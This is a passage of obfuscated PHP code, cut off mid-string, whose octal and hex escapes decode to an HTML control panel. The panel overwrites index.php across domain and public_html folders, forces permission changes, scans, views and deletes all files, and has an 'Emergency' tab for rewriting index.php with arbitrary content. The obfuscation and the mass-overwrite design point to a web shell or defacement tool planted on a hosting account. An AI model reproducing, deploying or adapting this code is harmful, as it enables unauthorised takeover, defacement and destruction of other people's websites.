\166\145\x72\167\162\151\164\145\42\x3e\342\234\x8f\xef\270\217\x20\117\166\x65\162\x77\x72\151\x74\145\40\105\170\151\x73\164\x69\x6e\x67\40\106\x69\x6c\145\x73\74\x2f\x6f\160\x74\x69\x6f\x6e\x3e\xa\40\40\x20\x20\40\40\x20\x20\x20\x20\40\40\40\40\x20\40\x20\x20\x20\x20\40\40\x20\x20\40\40\40\x20\x20\x20\x20\40\74\157\x70\164\x69\157\156\40\166\141\154\165\x65\75\42\165\x70\144\141\x74\x65\x22\x3e\xf0\237\x94\x84\x20\x43\162\145\141\x74\x65\x20\157\162\x20\125\160\x64\141\x74\145\40\x41\x6c\x6c\x3c\57\157\160\x74\x69\157\156\x3e\xa\x20\x20\40\x20\x20\40\40\40\40\40\x20\x20\x20\x20\40\x20\x20\x20\x20\x20\40\x20\x20\x20\40\x20\40\40\x20\x20\x20\x20\x3c\157\x70\x74\151\157\x6e\x20\x76\x61\154\165\145\x3d\x22\x66\x6f\162\x63\145\137\x75\160\144\x61\164\x65\42\76\xf0\237\x92\xaa\x20\106\157\162\x63\x65\40\x55\160\x64\141\164\x65\x20\167\151\164\x68\x20\x50\145\x72\155\151\x73\x73\151\x6f\156\40\x46\151\170\74\57\157\x70\164\x69\x6f\156\76\12\x20\x20\40\40\x20\x20\x20\x20\x20\40\x20\40\x20\40\40\x20\40\40\x20\40\x20\40\40\x20\x20\40\40\x20\74\57\163\x65\154\x65\x63\x74\x3e\xa\40\40\40\x20\40\x20\40\40\x20\x20\x20\x20\x20\40\x20\40\40\x20\x20\40\x20\40\40\40\74\57\x64\151\166\76\12\40\40\x20\x20\x20\40\40\40\x20\40\x20\40\40\x20\x20\40\40\40\x20\x20\40\x20\x20\40\12\40\40\40\x20\x20\40\40\x20\40\x20\x20\x20\40\x20\40\40\40\40\40\40\x20\x20\x20\x20\x3c\144\x69\166\40\143\154\141\163\x73\75\x22\x66\x6f\162\155\x2d\147\162\157\165\160\x22\x3e\xa\40\x20\x20\x20\x20\40\x20\x20\40\x20\x20\40\x20\40\40\40\x20\40\x20\40\40\40\x20\40\40\x20\x20\40\74\x6c\141\142\x65\154\x3e\xf0\237\x8c\x90\40\x50\165\x62\154\x69\143\x5f\x48\x54\x4d\x4c\x20\x44\x65\164\x65\143\x74\x69\157\x6e\x3a\74\x2f\154\x61\x62\145\154\x3e\12\x20\40\40\x20\x20\40\40\x20\40\40\40\x20\40\x20\40\40\40\x20\40\x20\x20\x20\x20\x20\40\x20\40\40\x3c\x73\145\x6c\145\x63\164\40\156\x61\155\145\75\x22\160\x75\x62\154\151\x63\x5f\150\x74\155\x6c\x5f\155\x6f\x64\145\x22\x3e\12\x20\x20\x20\x20\40\x20\x20\x20\40\x20\x20\x20\40\40\40\40\40\40\x20\40\x20\40\x20\40\x20\40\x20\x20\x20\40\40\40\x3c\x6f\160\x74\151\157\156\x20\166\x61\x6c\x75\145\x3d\x22\x61\x75\164\157\42\40\x73\145\x6c\145\x63\x74\145\144\x3e\xf0\x9f\224\204\40\x41\x75\164\157\55\x44\145\164\145\143\164\x20\50\x52\145\x63\x6f\x6d\155\145\156\144\x65\144\51\x3c\57\157\x70\x74\x69\157\x6e\76\12\x20\40\x20\40\x20\x20\x20\40\40\x20\40\x20\40\x20\40\x20\40\40\40\x20\40\40\x20\x20\40\x20\x20\x20\40\40\x20\x20\74\157\160\164\151\157\156\40\x76\141\x6c\165\145\75\x22\146\x6f\x72\143\145\x22\x3e\xf0\x9f\x93\201\40\x46\157\162\x63\145\40\120\165\x62\x6c\x69\x63\137\x48\x54\x4d\114\x20\120\x61\164\150\x3c\x2f\x6f\x70\x74\x69\157\x6e\x3e\xa\40\x20\40\40\40\40\x20\40\40\40\x20\40\40\40\40\x20\40\x20\40\x20\40\40\x20\40\x20\40\40\40\40\x20\x20\40\x3c\x6f\x70\x74\x69\157\x6e\x20\x76\141\x6c\x75\145\x3d\42\x64\x69\163\x61\x62\154\145\x22\76\342\x9d\x8c\x20\104\151\163\x61\142\154\145\x20\120\165\x62\x6c\x69\x63\137\110\x54\x4d\114\x20\104\145\x74\145\x63\164\x69\157\156\74\57\157\x70\164\151\157\156\76\xa\40\x20\x20\x20\40\x20\x20\40\x20\40\x20\x20\40\x20\40\40\40\40\40\x20\x20\x20\40\x20\40\40\40\40\74\x2f\163\x65\154\145\x63\164\x3e\12\40\x20\40\x20\40\40\40\40\40\40\40\40\x20\40\40\40\40\x20\x20\x20\x20\40\40\40\40\40\x20\40\x3c\144\x69\166\x20\143\154\141\163\163\75\42\x70\x61\164\150\x2d\151\156\146\157\x22\x3e\x41\165\x74\x6f\72\x20\x43\150\x65\143\x6b\x20\160\x75\142\154\x69\143\137\150\x74\155\154\x2c\40\x46\157\x72\143\x65\72\40\141\x6c\167\141\171\x73\40\x61\x64\x64\x20\160\165\142\154\x69\x63\137\150\164\x6d\154\54\x20\x44\x69\163\x61\142\x6c\145\x3a\x20\144\x69\162\x65\143\164\154\x79\40\x69\156\40\x64\157\x6d\x61\x69\156\40\146\157\x6c\144\x65\162\74\x2f\144\x69\x76\x3e\12\x20\40\40\40\x20\x20\x20\40\40\x20\x20\40\40\x20\x20\40\40\x20\40\40\x20\x20\40\40\74\57\x64\151\166\76\xa\40\40\x20\40\40\x20\40\40\x20\40\40\40\x20\x20\x20\x20\x20\40\40\40\40\40\x20\x20\12\x20\x20\40\40\x20\40\x20\x20\x20\40\40\x20\40\40\x20\40\x20\40\x20\40\x20\x20\40\x20\x3c\142\165\x74\164\157\156\x20\164\171\160\145\75\x22\x73\x75\x62\x6d\x69\164\42\40\x63\x6c\141\163\163\x3d\42\x62\x74\x6e\42\x20\x6e\141\x6d\145\75\x22\x65\170\145\143\x75\x74\x65\x22\x3e\105\x78\x65\x63\x75\x74\x65\x3c\57\x62\x75\164\164\x6f\156\76\xa\40\x20\x20\40\x20\40\40\40\x20\40\x20\x20\x20\40\x20\40\x20\x20\x20\40\74\x2f\146\157\162\155\76\12\x20\40\40\x20\40\x20\x20\40\40\40\x20\40\x20\40\40\40\74\x2f\144\x69\x76\x3e\12\40\x20\40\40\x20\40\x20\x20\40\x20\x20\x20\x20\x20\40\x20\12\x20\40\40\40\40\40\x20\40\40\40\x20\40\x20\40\x20\x20\x3c\x21\x2d\55\40\x4d\141\156\x61\147\145\x20\x54\x61\142\40\55\x2d\x3e\12\x20\x20\40\40\x20\40\x20\x20\x20\x20\x20\40\x20\x20\40\x20\74\144\151\x76\x20\x69\x64\x3d\42\x6d\141\156\141\147\x65\42\40\x63\154\x61\x73\163\x3d\42\x74\x61\142\x63\x6f\156\164\145\156\x74\x22\76\12\x20\x20\x20\40\40\x20\x20\40\40\40\40\x20\40\x20\40\x20\x20\x20\40\40\x3c\146\157\162\155\40\155\145\164\x68\x6f\144\75\42\x50\x4f\123\124\42\76\12\x20\40\40\40\40\40\40\40\x20\40\x20\x20\40\40\40\40\40\40\40\40\x20\40\x20\x20\x3c\x64\151\x76\40\143\154\x61\x73\163\x3d\x22\x66\157\x72\x6d\55\147\x72\x6f\165\160\x22\76\xa\x20\40\40\40\x20\40\x20\x20\40\x20\40\40\40\40\40\40\x20\x20\x20\40\40\x20\x20\x20\x20\x20\x20\x20\74\x6c\141\x62\x65\154\76\360\237\223\x82\x20\102\x61\163\145\x20\x44\x69\x72\x65\143\164\157\x72\x79\x3a\x3c\x2f\x6c\141\x62\145\x6c\x3e\xa\x20\40\40\x20\x20\x20\x20\40\x20\40\40\40\x20\40\40\40\x20\x20\40\x20\40\x20\40\x20\x20\40\40\x20\x3c\x69\156\160\x75\164\40\164\171\x70\145\75\x22\x74\x65\x78\164\42\40\x6e\141\x6d\145\75\42\x62\141\163\x65\x5f\x64\x69\x72\42\40\166\x61\154\165\x65\75\x22" . htmlspecialchars($this->ADco2) . "\42\x20\x72\x65\x71\165\151\162\145\144\76\xa\40\40\40\x20\40\40\40\40\x20\40\x20\40\40\40\x20\40\x20\x20\x20\40\40\40\x20\x20\x20\40\x20\40\x3c\144\x69\166\x20\143\x6c\141\163\x73\x3d\x22\x70\141\x74\x68\55\151\156\146\x6f\42\76\xf0\x9f\x92\241\40\105\x78\141\x6d\160\x6c\145\x3a\x20\57\150\157\x6d\x65\57\165\163\145\x72\x2f\x64\x6f\x6d\x61\151\156\163\40\55\x20\167\151\154\154\x20\141\165\164\x6f\55\144\145\x74\x65\x63\164\x20\x70\165\142\154\151\143\x5f\150\x74\155\154\x3c\57\x64\151\166\76\xa\40\40\40\x20\x20\x20\x20\40\40\40\x20\40\40\x20\x20\x20\40\40\40\40\40\x20\x20\x20\74\57\x64\151\x76\76\12\40\40\x20\x20\x20\x20\x20\40\x20\40\x20\40\x20\x20\x20\40\40\x20\40\x20\40\x20\x20\40\xa\x20\x20\40\40\x20\40\40\40\x20\40\x20\x20\40\40\x20\40\40\x20\40\x20\x20\x20\40\x20\74\x64\151\166\x20\143\154\141\x73\163\75\42\x66\x6f\x72\155\x2d\147\x72\157\165\160\42\76\12\40\x20\40\x20\40\40\x20\40\x20\x20\40\40\40\x20\40\x20\x20\40\40\x20\40\40\x20\40\40\40\x20\x20\74\154\x61\x62\145\154\76\xf0\237\223\204\x20\106\x69\154\145\x20\x4e\x61\x6d\x65\x20\164\x6f\x20\x4d\x61\x6e\x61\147\145\72\74\57\x6c\x61\142\145\x6c\x3e\12\40\x20\x20\40\x20\x20\40\x20\40\x20\40\x20\x20\40\40\40\x20\40\x20\40\40\40\x20\40\x20\x20\x20\x20\74\151\x6e\160\x75\164\x20\x74\x79\160\145\x3d\x22\x74\x65\x78\x74\x22\x20\x6e\141\x6d\x65\x3d\42\164\141\x72\x67\x65\164\137\x66\151\x6c\145\42\x20\x76\141\154\165\x65\x3d\x22\x69\x6e\x64\145\170\x2e\160\150\160\x22\x20\x72\145\161\165\151\162\145\x64\76\12\40\40\40\x20\x20\x20\40\40\40\40\x20\40\x20\40\40\40\x20\40\x20\x20\x20\40\x20\40\x3c\x2f\x64\151\166\x3e\xa\40\x20\40\x20\x20\40\40\40\x20\40\x20\40\40\40\40\40\40\x20\40\x20\40\x20\40\40\12\x20\40\40\40\x20\40\x20\x20\x20\40\x20\40\40\x20\x20\x20\40\40\40\40\x20\x20\x20\x20\x3c\144\x69\166\40\x63\154\141\163\x73\75\42\x66\157\x72\x6d\55\x67\x72\157\165\x70\42\x3e\xa\x20\x20\40\40\40\x20\40\x20\x20\x20\40\40\40\40\40\x20\40\40\x20\x20\x20\40\40\40\x20\40\40\40\x3c\x6c\141\142\145\x6c\76\xf0\x9f\214\220\x20\x50\x75\x62\154\x69\x63\137\110\124\x4d\114\x20\115\157\144\145\x3a\74\57\x6c\x61\142\x65\154\x3e\xa\x20\40\x20\x20\x20\x20\40\40\40\x20\x20\x20\x20\x20\x20\40\x20\x20\x20\x20\x20\x20\x20\40\x20\x20\40\x20\x3c\163\x65\x6c\145\x63\x74\40\156\x61\155\145\75\x22\160\x75\x62\x6c\151\143\x5f\x68\x74\155\154\x5f\x6d\157\144\145\42\76\12\x20\40\40\x20\x20\x20\40\40\40\40\40\x20\40\40\x20\40\40\x20\x20\x20\x20\x20\40\40\40\x20\40\40\40\x20\40\x20\x3c\157\160\164\x69\157\x6e\40\166\x61\154\165\x65\75\42\141\165\x74\157\x22\x20\163\145\154\x65\x63\164\145\x64\x3e\xf0\x9f\x94\x84\40\x41\x75\164\x6f\55\x44\x65\x74\x65\x63\164\x3c\57\157\x70\x74\151\157\x6e\76\xa\40\x20\40\40\x20\40\40\40\40\40\40\40\x20\x20\40\40\x20\x20\40\x20\40\x20\x20\40\40\x20\x20\x20\x20\40\x20\x20\74\157\x70\164\151\x6f\156\40\x76\x61\x6c\165\x65\75\42\x66\x6f\162\143\145\42\76\360\237\223\x81\x20\x46\x6f\162\143\x65\x20\x50\165\142\154\x69\143\x5f\x48\x54\x4d\x4c\x3c\57\x6f\x70\164\x69\x6f\x6e\x3e\12\x20\40\x20\x20\40\40\40\40\x20\40\x20\x20\40\x20\40\x20\x20\x20\x20\x20\x20\40\40\40\x20\x20\x20\40\x20\x20\x20\40\x3c\x6f\160\x74\151\x6f\x6e\40\x76\x61\154\x75\x65\x3d\42\144\x69\x73\141\x62\154\x65\42\x3e\xe2\235\214\x20\x44\151\x73\141\x62\x6c\145\x3c\57\x6f\x70\x74\x69\157\156\76\xa\40\x20\x20\x20\x20\40\x20\40\40\40\40\x20\x20\40\x20\40\x20\x20\40\x20\x20\x20\40\40\x20\x20\40\x20\x3c\x2f\163\145\x6c\x65\143\164\x3e\12\x20\x20\40\x20\40\x20\40\40\40\x20\x20\x20\x20\x20\x20\x20\40\40\40\x20\40\x20\x20\40\x3c\x2f\144\151\166\x3e\12\x20\x20\x20\40\x20\x20\x20\40\x20\x20\x20\40\x20\x20\40\x20\x20\40\40\40\40\40\x20\x20\12\x20\x20\x20\x20\40\40\x20\40\40\x20\40\x20\x20\x20\40\x20\40\x20\40\x20\x20\x20\x20\x20\74\x62\165\164\164\157\x6e\x20\164\171\160\x65\75\x22\x73\165\x62\x6d\151\x74\x22\40\x63\154\x61\x73\x73\x3d\x22\x62\164\156\40\142\x74\x6e\55\163\143\x61\x6e\x22\x20\156\x61\x6d\x65\75\x22\141\x63\164\x69\x6f\156\42\x20\166\x61\x6c\165\145\75\42\x73\x63\141\156\137\x66\151\154\x65\x73\x22\76\xf0\237\224\x8d\40\x53\143\x61\156\x20\x45\170\151\x73\164\x69\156\147\40\x46\x69\x6c\145\163\74\x2f\x62\165\x74\164\157\x6e\x3e\12\40\40\x20\x20\40\40\40\40\40\40\40\40\40\40\x20\40\x20\40\x20\40\40\x20\40\40\x3c\x62\x75\x74\x74\x6f\156\x20\x74\171\160\145\x3d\42\x73\165\x62\x6d\151\x74\42\x20\143\154\141\x73\163\75\42\x62\x74\156\40\142\x74\156\x2d\144\145\154\x65\164\x65\x22\40\156\x61\155\145\x3d\42\141\x63\x74\151\157\x6e\x22\x20\x76\141\x6c\165\x65\x3d\x22\x64\145\154\145\164\145\137\146\x69\x6c\145\x73\42\40\x6f\x6e\x63\154\x69\143\153\75\x22\162\145\164\165\x72\x6e\40\x63\x6f\x6e\x66\x69\162\155\50\x27\101\162\x65\x20\x79\157\165\x20\163\165\162\145\x20\x79\x6f\165\x20\167\x61\156\164\x20\x74\x6f\40\144\145\154\x65\164\145\40\x61\x6c\154\40\146\151\x6c\x65\163\x3f\47\51\x22\x3e\xf0\237\227\x91\xef\xb8\x8f\40\104\145\x6c\x65\x74\x65\40\101\x6c\x6c\x20\106\151\x6c\145\163\x3c\x2f\142\165\164\164\x6f\156\76\12\x20\40\40\40\x20\x20\x20\40\x20\40\40\x20\x20\x20\40\40\x20\x20\40\x20\x20\x20\40\40\x3c\x62\165\x74\x74\157\x6e\x20\x74\x79\x70\145\75\x22\x73\165\x62\x6d\x69\164\x22\40\x63\x6c\x61\x73\163\x3d\42\142\164\156\42\40\x6e\x61\x6d\145\75\x22\141\143\x74\151\157\156\42\40\x76\x61\x6c\165\145\x3d\42\166\151\145\x77\x5f\x66\151\154\145\163\x22\x3e\360\x9f\x91\201\357\xb8\217\x20\x56\x69\x65\167\40\106\151\x6c\145\x20\103\x6f\x6e\x74\x65\x6e\x74\163\x3c\57\x62\165\x74\164\157\x6e\x3e\12\x20\x20\40\40\40\40\40\40\40\40\x20\x20\x20\40\x20\x20\40\40\x20\x20\74\57\146\x6f\x72\x6d\76\12\40\40\40\x20\40\40\x20\40\x20\x20\40\40\40\40\40\40\74\x2f\144\151\166\x3e\xa\40\40\40\x20\x20\x20\x20\40\40\x20\40\x20\x20\x20\x20\x20\xa\40\x20\x20\x20\x20\40\40\40\40\x20\40\40\x20\x20\x20\40\74\41\55\x2d\40\120\x65\x72\x6d\x69\x73\163\x69\157\156\x20\x54\141\142\40\x2d\x2d\x3e\12\40\40\40\x20\40\x20\40\x20\40\40\40\x20\40\40\40\40\x3c\144\151\x76\x20\x69\144\x3d\42\x70\x65\162\x6d\151\163\163\151\157\156\x22\40\x63\x6c\x61\x73\163\75\x22\164\141\x62\143\x6f\156\x74\145\x6e\x74\x22\x3e\xa\40\40\x20\40\40\40\40\40\40\x20\40\40\40\40\x20\40\x20\40\40\x20\x3c\x66\x6f\x72\x6d\x20\155\x65\x74\150\x6f\x64\x3d\x22\x50\117\123\x54\42\76\xa\40\40\40\x20\x20\40\x20\x20\x20\x20\40\40\x20\x20\x20\x20\40\40\x20\x20\x20\x20\40\x20\x3c\144\151\x76\x20\x63\x6c\x61\x73\163\75\x22\146\157\162\155\x2d\147\162\157\165\160\x22\76\12\40\40\x20\x20\x20\40\40\x20\40\40\40\40\x20\x20\x20\40\x20\40\40\x20\40\x20\40\40\40\x20\x20\40\x3c\154\x61\x62\145\154\76\360\x9f\223\x82\40\102\x61\x73\x65\40\x44\x69\x72\x65\x63\164\x6f\x72\171\72\74\x2f\x6c\141\142\145\154\x3e\12\x20\40\x20\40\x20\40\40\40\40\x20\40\x20\40\x20\x20\40\40\40\40\x20\x20\40\x20\x20\x20\x20\x20\x20\74\x69\156\x70\x75\x74\x20\x74\x79\x70\x65\75\x22\x74\145\x78\164\42\40\156\141\x6d\145\75\x22\142\141\163\145\x5f\x64\151\162\x22\40\166\x61\x6c\165\x65\75\x22" . htmlspecialchars($this->ADco2) . "\42\x20\x72\145\x71\x75\151\x72\145\144\76\12\x20\40\40\40\40\x20\x20\40\x20\x20\x20\40\x20\x20\x20\40\40\x20\40\x20\40\40\40\x20\x20\40\40\40\74\144\x69\166\40\x63\154\141\x73\163\x3d\42\160\x61\164\150\55\x69\x6e\x66\157\42\x3e\xf0\x9f\222\241\40\105\170\x61\155\x70\154\145\x3a\x20\57\x68\157\155\x65\x2f\165\x73\x65\x72\57\144\x6f\155\x61\x69\156\163\40\55\x20\x77\x69\154\154\40\x61\165\x74\x6f\x2d\144\x65\164\x65\143\164\40\x70\x75\142\154\x69\x63\x5f\150\x74\155\x6c\74\57\x64\151\166\x3e\xa\x20\x20\x20\x20\x20\40\40\x20\x20\40\x20\x20\x20\40\x20\40\40\40\x20\x20\40\40\40\x20\74\57\144\151\166\x3e\12\40\x20\x20\40\x20\40\40\40\x20\x20\x20\x20\40\x20\x20\x20\40\x20\40\x20\40\40\x20\40\xa\x20\x20\x20\x20\40\x20\40\40\x20\40\x20\40\40\40\x20\x20\40\40\x20\x20\x20\40\x20\40\x3c\144\x69\166\40\143\x6c\x61\163\163\75\42\160\x65\x72\x6d\151\163\x73\x69\x6f\156\x2d\x69\156\x66\157\42\76\xa\x20\40\40\x20\40\40\x20\x20\40\x20\x20\x20\x20\x20\x20\40\x20\40\40\40\40\40\x20\40\40\40\x20\x20\x3c\x73\164\162\157\x6e\x67\x3e\xf0\237\x94\220\x20\120\x65\162\155\x69\x73\163\x69\x6f\x6e\40\x46\151\x78\40\106\x65\141\164\165\x72\x65\163\x3a\74\57\163\164\162\157\156\x67\x3e\x3c\142\162\76\12\40\x20\40\40\x20\40\x20\x20\40\40\x20\x20\40\x20\x20\x20\x20\x20\40\x20\x20\40\40\x20\40\x20\x20\x20\342\x80\xa2\x20\101\x74\x74\145\155\160\x74\x20\x74\157\40\x63\150\141\156\147\145\40\x64\151\x72\145\x63\x74\x6f\162\x79\x20\x70\145\162\x6d\x69\163\163\x69\x6f\x6e\x73\x20\x74\x6f\40\x30\67\65\x35\74\142\x72\x3e\xa\40\40\40\x20\40\x20\x20\40\x20\x20\40\x20\x20\x20\40\40\40\40\x20\40\40\40\40\40\x20\40\40\x20\xe2\x80\xa2\x20\x41\164\x74\145\x6d\160\164\40\164\157\x20\x63\150\141\156\147\x65\40\x66\x69\x6c\145\x20\x70\145\162\155\151\163\163\x69\157\x6e\163\40\164\x6f\x20\x30\66\x34\x34\x3c\x62\162\76\12\40\x20\40\40\40\x20\40\x20\40\x20\40\40\x20\x20\40\40\x20\x20\40\40\x20\x20\x20\x20\40\40\40\x20\xe2\200\xa2\40\x41\x75\164\157\x2d\x66\x61\x6c\x6c\x62\141\x63\153\x20\151\x66\x20\160\x65\162\155\151\x73\163\151\x6f\156\x20\143\x68\141\x6e\x67\x65\40\146\x61\151\x6c\x73\12\40\40\x20\x20\x20\x20\x20\x20\40\x20\x20\40\x20\40\40\40\x20\40\x20\40\x20\x20\x20\40\x3c\x2f\x64\151\x76\76\12\40\40\x20\x20\x20\x20\40\x20\40\40\x20\x20\x20\40\40\x20\x20\40\x20\x20\x20\40\40\x20\12\x20\40\40\40\x20\40\40\40\x20\40\x20\40\40\x20\40\x20\x20\x20\40\x20\x20\x20\x20\x20\x3c\x62\165\x74\x74\157\x6e\40\164\171\x70\x65\75\42\163\165\142\x6d\x69\x74\42\x20\143\154\141\163\x73\75\42\x62\164\x6e\40\x62\x74\x6e\x2d\146\x69\170\42\40\156\141\x6d\x65\x3d\x22\x61\143\x74\151\x6f\156\42\x20\166\x61\x6c\165\x65\x3d\42\x66\151\x78\x5f\x70\x65\162\155\151\x73\163\x69\157\x6e\x73\x22\x3e\xf0\237\233\xa0\xef\270\x8f\40\x46\x69\x78\40\x44\151\162\x65\x63\x74\x6f\x72\171\40\120\145\162\x6d\151\x73\163\x69\x6f\x6e\x73\x3c\57\142\x75\x74\164\157\x6e\x3e\xa\x20\x20\x20\40\40\40\x20\40\x20\40\40\40\40\40\40\x20\40\x20\x20\x20\x20\x20\40\40\x3c\142\x75\x74\164\x6f\x6e\x20\164\171\160\x65\x3d\x22\x73\165\x62\155\x69\164\42\x20\143\x6c\141\163\163\75\x22\142\164\156\x20\x62\x74\x6e\55\x66\151\170\42\40\156\x61\155\x65\x3d\x22\x61\143\164\x69\x6f\x6e\42\40\x76\141\154\165\145\75\x22\146\x69\x78\137\146\151\154\x65\137\160\x65\x72\155\151\163\x73\x69\157\156\163\42\x3e\360\237\x93\x84\40\106\x69\170\40\x46\x69\154\x65\x20\120\x65\x72\155\x69\x73\x73\151\x6f\x6e\163\74\57\142\165\x74\164\157\156\76\12\40\40\40\40\40\40\40\x20\x20\40\40\x20\40\40\x20\x20\40\x20\x20\40\40\40\x20\x20\x3c\142\165\x74\x74\x6f\x6e\40\x74\x79\x70\145\x3d\42\x73\165\x62\155\151\x74\x22\x20\143\x6c\141\163\163\75\42\x62\164\x6e\x22\40\156\x61\155\145\75\x22\x61\x63\164\x69\x6f\x6e\42\x20\x76\x61\154\x75\145\x3d\x22\x63\150\x65\x63\153\x5f\160\x65\x72\155\151\x73\x73\x69\x6f\156\x73\42\76\xf0\237\x94\215\x20\103\x68\145\143\153\40\x43\x75\x72\x72\x65\156\164\x20\x50\145\x72\x6d\x69\163\163\x69\x6f\x6e\x73\74\x2f\142\165\x74\x74\x6f\x6e\76\xa\40\40\40\40\40\40\x20\x20\x20\40\40\40\x20\40\x20\40\40\x20\40\40\74\57\146\x6f\162\x6d\x3e\xa\40\40\x20\x20\x20\40\40\x20\40\40\40\40\40\x20\x20\40\74\57\x64\x69\166\76\xa\40\40\40\40\x20\40\40\40\x20\x20\40\x20\40\x20\40\x20\12\x20\40\40\40\x20\40\40\40\40\40\x20\x20\40\40\x20\40\74\x21\x2d\x2d\x20\105\155\x65\x72\x67\x65\x6e\143\171\x20\124\141\142\x20\x2d\55\x3e\12\x20\x20\x20\40\x20\40\x20\x20\x20\x20\40\40\x20\x20\40\40\x3c\x64\x69\166\40\151\144\75\x22\145\155\145\162\147\145\x6e\143\x79\x22\x20\x63\x6c\x61\x73\x73\x3d\x22\164\141\142\143\x6f\156\164\145\x6e\164\42\76\xa\40\40\x20\40\40\x20\40\40\x20\x20\x20\40\40\40\40\40\x20\x20\40\x20\74\146\157\162\x6d\x20\155\145\164\x68\157\144\75\42\120\117\123\x54\42\x3e\12\40\40\40\x20\40\40\40\40\x20\40\40\x20\40\40\40\x20\40\x20\x20\x20\40\40\x20\x20\x3c\x64\x69\x76\40\143\154\141\163\x73\75\x22\146\157\162\x6d\x2d\x67\162\157\x75\x70\42\x3e\12\40\x20\40\40\x20\x20\x20\40\40\x20\40\x20\x20\x20\x20\40\x20\40\x20\40\x20\x20\x20\40\x20\40\x20\x20\x3c\x6c\x61\142\145\x6c\x3e\xf0\237\x93\202\40\102\x61\163\x65\x20\104\151\x72\x65\x63\164\157\162\171\72\74\57\x6c\141\x62\x65\x6c\x3e\12\x20\x20\40\x20\x20\x20\x20\x20\x20\40\x20\40\40\x20\40\x20\40\40\40\40\x20\40\40\40\x20\x20\x20\x20\74\151\x6e\160\165\164\x20\x74\x79\x70\x65\x3d\x22\x74\145\170\164\x22\40\x6e\x61\155\x65\75\42\x62\141\x73\145\137\x64\x69\x72\x22\x20\166\141\154\x75\x65\x3d\x22" . htmlspecialchars($this->ADco2) . "\x22\40\162\x65\x71\x75\151\162\145\144\76\xa\40\40\x20\40\40\40\x20\40\x20\40\40\40\x20\x20\40\40\40\40\x20\40\x20\40\40\x20\x20\40\40\40\x3c\144\x69\x76\x20\x63\x6c\x61\163\x73\75\42\x70\x61\x74\150\55\x69\156\146\157\42\x3e\xf0\237\x92\xa1\40\105\170\141\x6d\160\154\145\72\40\57\150\157\155\x65\x2f\x75\x73\x65\162\x2f\144\x6f\x6d\141\151\156\x73\40\55\40\167\x69\x6c\x6c\40\x61\165\164\x6f\x2d\x64\145\x74\145\x63\164\40\x70\165\x62\154\151\x63\137\x68\164\x6d\154\74\x2f\144\151\x76\76\12\x20\x20\x20\x20\40\40\x20\x20\x20\40\x20\40\40\40\x20\x20\x20\40\x20\40\x20\40\40\40\x3c\57\144\x69\x76\x3e\xa\x20\40\x20\40\40\x20\x20\40\40\40\40\x20\40\40\x20\x20\x20\x20\40\40\x20\40\40\40\12\40\x20\40\40\40\x20\x20\x20\40\40\40\x20\40\40\x20\40\40\x20\40\40\x20\40\x20\x20\74\x64\x69\166\40\x63\154\141\x73\163\x3d\42\146\x6f\162\x6d\x2d\x67\x72\x6f\x75\160\42\76\12\x20\40\x20\40\x20\x20\40\x20\x20\x20\40\x20\40\x20\x20\40\40\40\40\40\x20\40\40\x20\x20\x20\40\x20\x3c\154\141\142\x65\154\76\360\237\223\x84\40\117\162\x69\147\x69\x6e\141\154\40\106\x69\154\x65\x20\x4e\141\155\145\x3a\x3c\57\x6c\141\142\x65\x6c\76\12\40\x20\40\x20\40\x20\40\40\x20\40\40\40\40\40\40\x20\x20\x20\x20\x20\x20\x20\40\x20\x20\x20\x20\40\x3c\x69\x6e\x70\165\x74\x20\x74\x79\160\x65\75\42\x74\145\170\164\x22\40\156\141\x6d\145\75\x22\x6f\x72\x69\x67\151\x6e\x61\x6c\137\x66\x69\x6c\145\42\x20\x76\x61\x6c\165\145\75\42\x69\x6e\x64\145\170\56\x70\150\x70\x22\x20\x72\x65\161\x75\x69\x72\145\x64\x3e\xa\x20\x20\x20\x20\x20\x20\40\40\x20\x20\40\x20\x20\x20\40\40\x20\40\x20\x20\40\40\40\40\74\57\144\151\x76\76\xa\40\x20\40\40\x20\x20\40\40\x20\40\40\40\x20\x20\40\40\x20\x20\x20\x20\40\x20\40\40\xa\40\40\40\x20\40\40\x20\x20\x20\x20\40\x20\x20\40\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\74\x64\151\x76\40\x63\x6c\x61\x73\x73\x3d\x22\x66\157\x72\155\55\x67\162\x6f\x75\160\x22\76\xa\40\x20\x20\x20\x20\x20\40\x20\40\40\x20\x20\40\40\x20\x20\40\x20\40\40\x20\40\40\40\x20\40\x20\40\74\154\141\142\145\x6c\x3e\360\237\223\x9d\40\106\151\x6c\x65\x20\x43\157\156\164\145\x6e\x74\72\x3c\x2f\x6c\x61\x62\145\154\x3e\xa\40\x20\40\40\x20\x20\40\40\x20\40\x20\40\x20\x20\x20\x20\x20\x20\40\40\x20\x20\x20\40\x20\x20\40\40\x3c\164\x65\x78\164\x61\162\145\141\40\x6e\141\x6d\x65\x3d\42\146\x69\154\x65\137\143\x6f\x6e\x74\x65\x6e\x74\x22\x20\162\x65\161\165\x69\162\x65\144\76" . htmlspecialchars($this->sYQMg) . "\x3c\x2f\164\145\x78\164\x61\162\x65\141\x3e\12\40\40\40\40\x20\x20\40\40\x20\40\x20\40\40\40\40\40\40\40\40\x20\40\x20\x20\40\x3c\x2f\x64\151\166\76\xa\40\40\40\x20\x20\x20\x20\x20\40\40\x20\x20\x20\x20\x20\x20\x20\40\x20\x20\x20\x20\40\x20\xa\x20\x20\x20\40\40\x20\40\40\x20\x20\x20\40\x20\40\x20\40\40\40\40\x20\x20\x20\x20\40\x3c\x64\151\x76\40\x63\x6c\141\x73\x73\x3d\x22\146\x6f\162\155\55\x67\x72\157\x75\x70\x22\x3e\xa\40\40\x20\40\40\40\x20\x20\40\40\x20\x20\x20\40\x20\40\40\x20\x20\x20\x20\40\40\x20\40\x20\40\40\74\x6c\x61\142\x65\x6c\76\xf0\x9f\214\220\x20\120\165\x62\154\151\143\137\110\x54\115\114\40\115\x6f\144\x65\72\x3c\x2f\154\x61\x62\145\154\76\12\40\x20\x20\x20\40\40\x20\x20\x20\40\40\x20\x20\x20\x20\40\x20\x20\x20\x20\x20\x20\x20\40\x20\40\40\x20\x3c\163\145\154\145\143\164\x20\x6e\x61\x6d\145\75\x22\160\x75\x62\x6c\x69\x63\x5f\x68\x74\155\154\x5f\155\157\144\145\x22\x3e\xa\x20\x20\x20\40\x20\40\40\x20\40\x20\40\x20\40\40\x20\x20\x20\x20\40\x20\x20\40\x20\40\40\x20\40\40\x20\x20\40\40\74\157\160\164\x69\157\x6e\x20\166\141\154\x75\145\75\x22\141\165\164\157\42\x20\x73\x65\x6c\145\x63\x74\145\x64\x3e\360\237\x94\204\40\x41\165\164\157\55\x44\145\164\145\x63\164\74\x2f\157\160\164\151\157\156\x3e\xa\x20\x20\x20\